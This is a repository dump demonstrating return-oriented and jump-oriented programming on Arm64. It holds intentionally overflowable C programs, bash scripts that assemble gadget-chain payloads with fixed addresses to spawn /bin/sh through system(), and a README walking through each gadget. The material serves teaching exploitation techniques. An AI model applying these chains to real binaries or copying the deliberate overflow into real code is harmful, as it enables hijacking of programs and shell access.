├── jop ├── rop ├── demo.gif ├── jop.data ├── rop.data ├── Makefile ├── rop.c ├── jop.c ├── rop.data.gen ├── jop.data.gen └── README.md /jop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/geesun/arm64_rop_jop/HEAD/jop -------------------------------------------------------------------------------- /rop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/geesun/arm64_rop_jop/HEAD/rop -------------------------------------------------------------------------------- /demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/geesun/arm64_rop_jop/HEAD/demo.gif -------------------------------------------------------------------------------- /jop.data: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/geesun/arm64_rop_jop/HEAD/jop.data -------------------------------------------------------------------------------- /rop.data: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/geesun/arm64_rop_jop/HEAD/rop.data -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all:jop rop 2 | 3 | jop:jop.c 4 | gcc -g -fno-stack-protector -o $@ -march=armv8-a -static $< 5 | objdump -S $@ > $@.asm 6 | 7 | rop:rop.c 8 | gcc -g -fno-stack-protector -o $@ -march=armv8-a -static $< 9 | objdump -S $@ > $@.asm 10 | 11 | clean: 12 | rm rop rop.asm jop jop.asm -rf 13 | -------------------------------------------------------------------------------- /rop.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void rop_symbol() 7 | { 8 | system("/bin/ls"); // to make the system link to the binary 9 | } 10 | 11 | void rop_bad_func() 12 | { 13 | char data[16] = {0}; 14 | unsigned long long u64 = 0; 15 | int fd = 0; 16 | fd = open("./rop.data",O_RDONLY); 17 | read(fd,&u64,512); 18 | } 19 | 20 | int main() 21 | { 22 | rop_bad_func(); 23 | return 0; 24 | } 25 | 26 | 27 | -------------------------------------------------------------------------------- /jop.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | typedef void (*jop_func_t)(); 7 | 8 | void jop_symbol() 9 | { 10 | system("/bin/ls"); 11 | } 12 | 13 | void jop_bad_func() 14 | { 15 | jop_func_t func = NULL; 16 | char data[16] = {0}; 17 | unsigned long long u64 = 0; 18 | int fd = 0; 19 | 20 | fd = open("./jop.data",O_RDONLY); 21 | func = jop_symbol; 22 | read(fd,&u64,512); 23 | func(); 24 | } 25 | 26 | int main() 27 | { 28 | jop_bad_func(); 29 | return 0; 30 | } 31 | 32 | 33 | -------------------------------------------------------------------------------- /rop.data.gen: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ##Get the system() api address and "/bin/sh" string address 4 | : << 'rop_symbol' 5 | system("/bin/ls"); // to make the system link to the binary 6 | 400404: 90000280 adrp x0, 450000 <_nl_locale_subfreeres+0x1b8> 7 | 400408: 9116e000 add x0, x0, #0x5b8 8 | 40040c: 940019b7 bl 406ae8 <__libc_system> 9 | 10 | NOTE: libc_system = 0x406ae8 11 | rop_symbol 12 | libc_system="\xe8\x6a\x40\x00\x00\x00\x00\x00" 13 | 14 | ##According to the glibc do_system source code 15 | : << 'do_system' 16 | /* Exec the shell. */ 17 | (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ); 18 | _exit (127); 19 | 20 | 406acc: d0000240 adrp x0, 450000 <_nl_locale_subfreeres+0x1b8> 21 | 406ad0: b900067f str wzr, [x19, #4] 22 | 406ad4: 91344000 add x0, x0, #0xd10 23 | 406ad8: 9400475e bl 418850 <__execve> 24 | 25 | NOTE: bash address = 0x450d10 26 | do_system 27 | bash="\x10\x0d\x45\x00\x00\x00\x00\x00" 28 | 29 | 30 | 31 | ##Calling flow 32 | ## rop_bad_func --> main --> __deregister_frame_info_bases --> __deregister_frame_info_bases --> system --> system --> system -> .... 33 | : << 'rop_bad_func' 34 | Gadgets 1: Use the code to write the stack, u64's offset is 16, so data offset = sp - 16 35 | read(fd,&u64,512); 36 | 400444: 910043a0 add x0, x29, #0x10 37 | 400448: d2804002 mov x2, #0x200 // #512 38 | 40044c: aa0003e1 mov x1, x0 39 | 400450: b9402fa0 ldr w0, [x29, #44] 40 | 400454: 940062e1 bl 418fd8 <__libc_read> 41 | } 42 | 400458: d503201f nop 43 | 40045c: a8c37bfd ldp x29, x30, [sp], #48 44 | 400460: d65f03c0 ret 45 | 46 | Note: After ret, the sp = sp + 48 47 | rop_bad_func 48 | 49 | : << 'main' 50 | Gadgets 2: Set the X30 = 0x44f02c (Gadgets 3 entry), offset is (48 - 16)/8 + 1 = 5 51 | rop_bad_func(); 52 | 40046c: 97ffffec bl 40041c 53 | return 0; 54 | 400470: 52800000 mov w0, #0x0 // #0 55 | } 56 | 400474: a8c17bfd ldp x29, x30, [sp], #16 57 | 400478: d65f03c0 ret 58 | 59 | NOTE: After ret, the sp = sp + 16 60 | main 61 | 62 | rop_g3="\x2c\xf0\x44\x00\x00\x00\x00\x00" 63 | rop_g3_offset=5 # x29 = 4 ,x30 = 5 64 | : << '__deregister_frame_info_bases' 65 | Gadgets 3: X19 = 0x44f7c0 bash string, will set to X0 at Gadgets 4, offset = (48 + 16 - 16 + 16)/8 = 8 66 | X30 = 0x44f080 (Gadgets 4) offset = (48 + 16 - 16)/8 + 1 = 7 67 | 44f02c: f9400bf3 ldr x19, [sp, #16] 68 | 44f030: a8c37bfd ldp x29, x30, [sp], #48 69 | 44f034: d65f03c0 ret 70 | 71 | NOTE: After ret, the sp = sp + 48 72 | 73 | Gadgets 4: X30 = 0x406ae8 libc_system address offset = ( 48 + 16 + 48 -16)/8 +1 = 13 74 | 44f080: aa1303e0 mov x0, x19 75 | 44f084: f9400bf3 ldr x19, [sp, #16] 76 | 44f088: a8c37bfd ldp x29, x30, [sp], #48 77 | 44f08c: d65f03c0 ret 78 | 79 | NOTE: After ret, the sp = sp + 48 80 | __deregister_frame_info_bases 81 | 82 | libc_system_offset=13 # X29 = 12, X30 = 13 83 | bash_offset=8 84 | rop_g4="\x80\xf0\x44\x00\x00\x00\x00\x00" 85 | rop_g4_offset=7 # X29 = 6, X30 = 7 86 | 87 | data=rop.data 88 | printf "" > $data 89 | 90 | #The max size can't be too big, it will overwrite the other segement to make the system call failed 91 | for (( i=0; i < 40; ++i)); do 92 | if [ $i -eq $rop_g3_offset ] ; then 93 | printf "$rop_g3" >> $data 94 | elif [ $i -eq $rop_g4_offset ] ; then 95 | printf "$rop_g4" >> $data 96 | elif [ $i -eq $libc_system_offset ] ; then 97 | printf "$libc_system" >> $data 98 | elif [ $i -eq $bash_offset ] ; then 99 | printf "$bash" >> $data 100 | else 101 | printf "\xff\xff\xff\xff\xff\xff\xff\xff" >> $data 102 | fi 103 | done 104 | -------------------------------------------------------------------------------- /jop.data.gen: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ##Get the system() api address and "/bin/sh" string address 4 | : << 'jop_symbol' 5 | system("/bin/ls"); 6 | 400404: f0000260 adrp x0, 44f000 <_nl_locale_subfreeres+0x1b8> 7 | 400408: 9116e000 add x0, x0, #0x5b8 8 | 40040c: 940019bb bl 406af8 <__libc_system> 9 | 10 | NOTE: libc_system = 0x406af8 11 | jop_symbol 12 | libc_system="\xf8\x6a\x40\x00\x00\x00\x00\x00" 13 | 14 | ##According to the glibc do_system source code 15 | : << 'do_system' 16 | /* Exec the shell. */ 17 | (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ); 18 | _exit (127); 19 | 20 | 406adc: b0000240 adrp x0, 44f000 <_nl_locale_subfreeres+0x1b8> 21 | 406ae0: b900067f str wzr, [x19, #4] 22 | 406ae4: 91344000 add x0, x0, #0xd10 23 | 406ae8: 9400435a bl 417850 <__execve> 24 | 25 | NOTE: bash address = 0x44fd10 26 | do_system 27 | bash="\x10\xfd\x44\x00\x00\x00\x00\x00" 28 | 29 | ##Calling flow 30 | #jop_bad_func --> _dl_runtime_profile --> _dl_runtime_profile --> system 31 | : << 'jop_bad_func' 32 | Gadgets 1: Use this code to write the stack, u64's offset is 0x18 = 24, so data offset = sp - 24 33 | read(fd,&u64,512); 34 | 400454: 910063a0 add x0, x29, #0x18 35 | 400458: d2804002 mov x2, #0x200 // #512 36 | 40045c: aa0003e1 mov x1, x0 37 | 400460: b94037a0 ldr w0, [x29, #52] 38 | 400464: 94005edd bl 417fd8 <__libc_read> 39 | 40 | Gadgets 2:Use stack to set the x0 = 0x441fc4 (Gadgets 4), data offset = (56 - 24)/8 = 4 41 | func(); 42 | 400468: f9401fa0 ldr x0, [x29, #56] 43 | 40046c: d63f0000 blr x0 44 | 45 | jop_bad_func 46 | 47 | dl_g4="\x84\x1d\x44\x00\x00\x00\x00\x00" 48 | dl_g4_offset=4 49 | 50 | : << '_dl_runtime_profile' 51 | Gadgets 4: 1. Set the X0 to the libc_system address, Gadgets 5 to set X16 = X0, offset = (48 - 24)/8 = 3 52 | 2. Set the X30 to 0x441cf4 (Gadgets 5 address), offset = (232 - 24)/8 = 26 53 | 3. *ldr x29, [x29]* change X29 = X29 + 64 according to jop_bad_func, will use it at Gadgets 5 54 | 441d84: a94307a0 ldp x0, x1, [x29, #48] 55 | 441d88: 6d4407a0 ldp d0, d1, [x29, #64] 56 | 441d8c: 6d450fa2 ldp d2, d3, [x29, #80] 57 | 441d90: f94077be ldr x30, [x29, #232] 58 | 441d94: 910003bf mov sp, x29 59 | 441d98: f94003bd ldr x29, [x29] 60 | 441d9c: 910403ff add sp, sp, #0x100 61 | 441da0: d61f03c0 br x30 62 | 63 | Gadgets 5: 1. X16 = X0 to make the X16 = libc_system address 64 | 2. Set the X0 to /bin/sh, offset = ((96 + 64) - 24) /8 = 17 65 | 441cf4: aa0003f0 mov x16, x0 66 | 441cf8: a94607a0 ldp x0, x1, [x29, #96] 67 | 441cfc: a9470fa2 ldp x2, x3, [x29, #112] 68 | 441d00: a94817a4 ldp x4, x5, [x29, #128] 69 | 441d04: a9491fa6 ldp x6, x7, [x29, #144] 70 | 441d08: 6d4a07a0 ldp d0, d1, [x29, #160] 71 | 441d0c: 6d4b0fa2 ldp d2, d3, [x29, #176] 72 | 441d10: 6d4c17a4 ldp d4, d5, [x29, #192] 73 | 441d14: 6d4d1fa6 ldp d6, d7, [x29, #208] 74 | 441d18: a9407bbd ldp x29, x30, [x29] 75 | 441d1c: 910403ff add sp, sp, #0x100 76 | 441d20: d61f0200 br x16 77 | _dl_runtime_profile 78 | 79 | libc_system_offset=3 80 | bash_offset=17 81 | 82 | dl_g5="\xf4\x1c\x44\x00\x00\x00\x00\x00" 83 | dl_g5_offset=26 84 | 85 | data=jop.data 86 | printf "" > $data 87 | 88 | for (( i=0; i < 40; ++i)); do 89 | if [ $i -eq $dl_g4_offset ] ; then 90 | printf "$dl_g4" >> $data 91 | elif [ $i -eq $dl_g5_offset ] ; then 92 | printf "$dl_g5" >> $data 93 | elif [ $i -eq $libc_system_offset ] ; then 94 | printf "$libc_system" >> $data 95 | elif [ $i -eq $bash_offset ] ; then 96 | printf "$bash" >> $data 97 | else 98 | printf "\xff\xff\xff\xff\xff\xff\xff\xff" >> $data 99 | fi 100 | done 101 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Return-oriented programming (ROP) and Jump-oriented-programming (JOP) examples on Arm64 platform 2 | When the stack overflow occurs, the examples show how to use the ROP and JOP to start shell with the system api. 3 | ![](demo.gif) 4 | ### Platform 5 | Hardware: [Neoverse N1 System Development Platform (N1SDP)](https://community.arm.com/developer/tools-software/oss-platforms/w/docs/457/n1sdp-getting-started-guide) 6 |
7 | OS: Ubuntu 18.04.4 LTS 8 |
9 | GCC: gcc version 7.5.0 10 | 11 | ### Structure 12 | ```bash 13 | ├── Makefile 14 | ├── jop # JOP exe 15 | ├── jop.asm # JOP assembly dump file 16 | ├── jop.c # JOP source code 17 | ├── jop.data # JOP input binary data 18 | ├── jop.data.gen # JOP input binary data generate script 19 | ├── rop # ROP exe 20 | ├── rop.asm # ROP assembly dump file 21 | ├── rop.c # ROP source code 22 | ├── rop.data # ROP input binary data 23 | └── rop.data.gen # ROP input binary data generate script 24 | ``` 25 | ### system() API address 26 | Add the below code to make sure the system() api linking into the binary: 27 | ```C 28 | void rop_symbol() 29 | { 30 | system("/bin/ls"); 31 | } 32 | ``` 33 | ```assembly 34 | system("/bin/ls"); // to make the system link to the binary 35 | 400404: 90000280 adrp x0, 450000 <_nl_locale_subfreeres+0x1b8> 36 | 400408: 9116e000 add x0, x0, #0x5b8 37 | 40040c: 940019b7 bl 406ae8 <__libc_system> 38 | ``` 39 | system() api address is **0x406ae8** 40 | ### Useful string "/bin/sh" address 41 | According to the glibc do_system source code 42 | ```bash 43 | $ grep -aPbo '/bin/sh' jop 44 | 326928:/bin/sh 45 | 46 | $readelf -l jop 47 | 48 | Elf file type is EXEC (Executable file) 49 | Entry point 0x4002b4 50 | There are 6 program headers, starting at offset 64 51 | 52 | Program Headers: 53 | Type Offset VirtAddr PhysAddr 54 | FileSiz MemSiz Flags Align 55 | LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 56 | 0x000000000006daeb 0x000000000006daeb R E 0x10000 57 | ``` 58 | So string "/bin/sh" can be get with the following command: 59 | ``` 60 | $grep -aPbo '/bin/sh' rop |awk -F: '{ printf("%x+400000",$1) }' |tr '[a-z]' '[A-Z]'|xargs echo "obase=16;ibase=16;" |bc 61 | 450d10 62 | ``` 63 | String "/bin/sh" can be found at address **0x450d10** 64 | ### ROP example 65 | ```C 66 | void rop_bad_func() 67 | { 68 | char data[16] = {0}; 69 | unsigned long long u64 = 0; 70 | int fd = 0; 71 | fd = open("./rop.data",O_RDONLY); 72 | read(fd,&u64,512); 73 | } 74 | ``` 75 | 76 | #### Useful gadgets 77 | * gadget 1: main 78 | ```assembly 79 | rop_bad_func(); 80 | 40046c: 97ffffec bl 40041c 81 | return 0; 82 | 400470: 52800000 mov w0, #0x0 // #0 83 | } 84 | 400474: a8c17bfd ldp x29, x30, [sp], #16 85 | 400478: d65f03c0 ret 86 | 87 | ``` 88 | Set X30 = next gadget address 89 | 90 | * gadget 2: __deregister_frame_info_bases 91 | ```assembly 92 | 44f02c: f9400bf3 ldr x19, [sp, #16] 93 | 44f030: a8c37bfd ldp x29, x30, [sp], #48 94 | 44f034: d65f03c0 ret 95 | ``` 96 | Set X19 from stack,the value is the address string "/bin/sh", and it will set to X0 at next gadget 97 |
98 | Set X30 = next gadget address 99 | * gadget 3: __deregister_frame_info_bases 100 | ```assembly 101 | 44f080: aa1303e0 mov x0, x19 102 | 44f084: f9400bf3 ldr x19, [sp, #16] 103 | 44f088: a8c37bfd ldp x29, x30, [sp], #48 104 | 44f08c: d65f03c0 ret 105 | ``` 106 | Set X0 = X19 107 |
108 | Set X30 = system() api address from stack 109 | #### Calling flow 110 | 111 | ```C 112 | rop_bad_func 113 | -->(0x400474) main 114 | --> (0x44f02c)__deregister_frame_info_bases 115 | --> (0x44f080)__deregister_frame_info_bases 116 | --> system 117 | --> system 118 | --> ... 119 | ``` 120 | ### JOP examples 121 | ```C 122 | void jop_bad_func() 123 | { 124 | jop_func_t func = NULL; 125 | char data[16] = {0}; 126 | unsigned long long u64 = 0; 127 | int fd = 0; 128 | 129 | fd = open("./jop.data",O_RDONLY); 130 | func = jop_symbol; 131 | read(fd,&u64,512); 132 | func(); 133 | } 134 | ``` 135 | #### Useful gadgets 136 | * gadget 1: jop_bad_func 137 | ```assembly 138 | func(); 139 | 400468: f9401fa0 ldr x0, [x29, #56] 140 | 40046c: d63f0000 blr x0 141 | ``` 142 | Set X0 = gadget 2 address from stack 143 | 144 | * gadget 2: _dl_runtime_profile 145 | ```assembly 146 | 441d84: a94307a0 ldp x0, x1, [x29, #48] 147 | 441d88: 6d4407a0 ldp d0, d1, [x29, #64] 148 | 441d8c: 6d450fa2 ldp d2, d3, [x29, #80] 149 | 441d90: f94077be ldr x30, [x29, #232] 150 | 441d94: 910003bf mov sp, x29 151 | 441d98: f94003bd ldr x29, [x29] 152 | 441d9c: 910403ff add sp, sp, #0x100 153 | 441da0: d61f03c0 br x30 154 | ``` 155 | Set X0 = system() address 156 |
157 | Set X30 = gadget 3 address 158 | 159 | * gadget 3: _dl_runtime_profile 160 | ```assembly 161 | 441cf4: aa0003f0 mov x16, x0 162 | 441cf8: a94607a0 ldp x0, x1, [x29, #96] 163 | 441cfc: a9470fa2 ldp x2, x3, [x29, #112] 164 | 441d00: a94817a4 ldp x4, x5, [x29, #128] 165 | 441d04: a9491fa6 ldp x6, x7, [x29, #144] 166 | 441d08: 6d4a07a0 ldp d0, d1, [x29, #160] 167 | 441d0c: 6d4b0fa2 ldp d2, d3, [x29, #176] 168 | 441d10: 6d4c17a4 ldp d4, d5, [x29, #192] 169 | 441d14: 6d4d1fa6 ldp d6, d7, [x29, #208] 170 | 441d18: a9407bbd ldp x29, x30, [x29] 171 | 441d1c: 910403ff add sp, sp, #0x100 172 | 441d20: d61f0200 br x16 173 | ``` 174 | Set X16 = X0 (system address) 175 |
176 | Set X0 = "/bin/sh" string address 177 | #### Calling flow 178 | ```C 179 | jop_bad_func 180 | --> (0x441d84)_dl_runtime_profile 181 | --> (0x441cf4)_dl_runtime_profile 182 | --> system 183 | ``` 184 | 185 | --------------------------------------------------------------------------------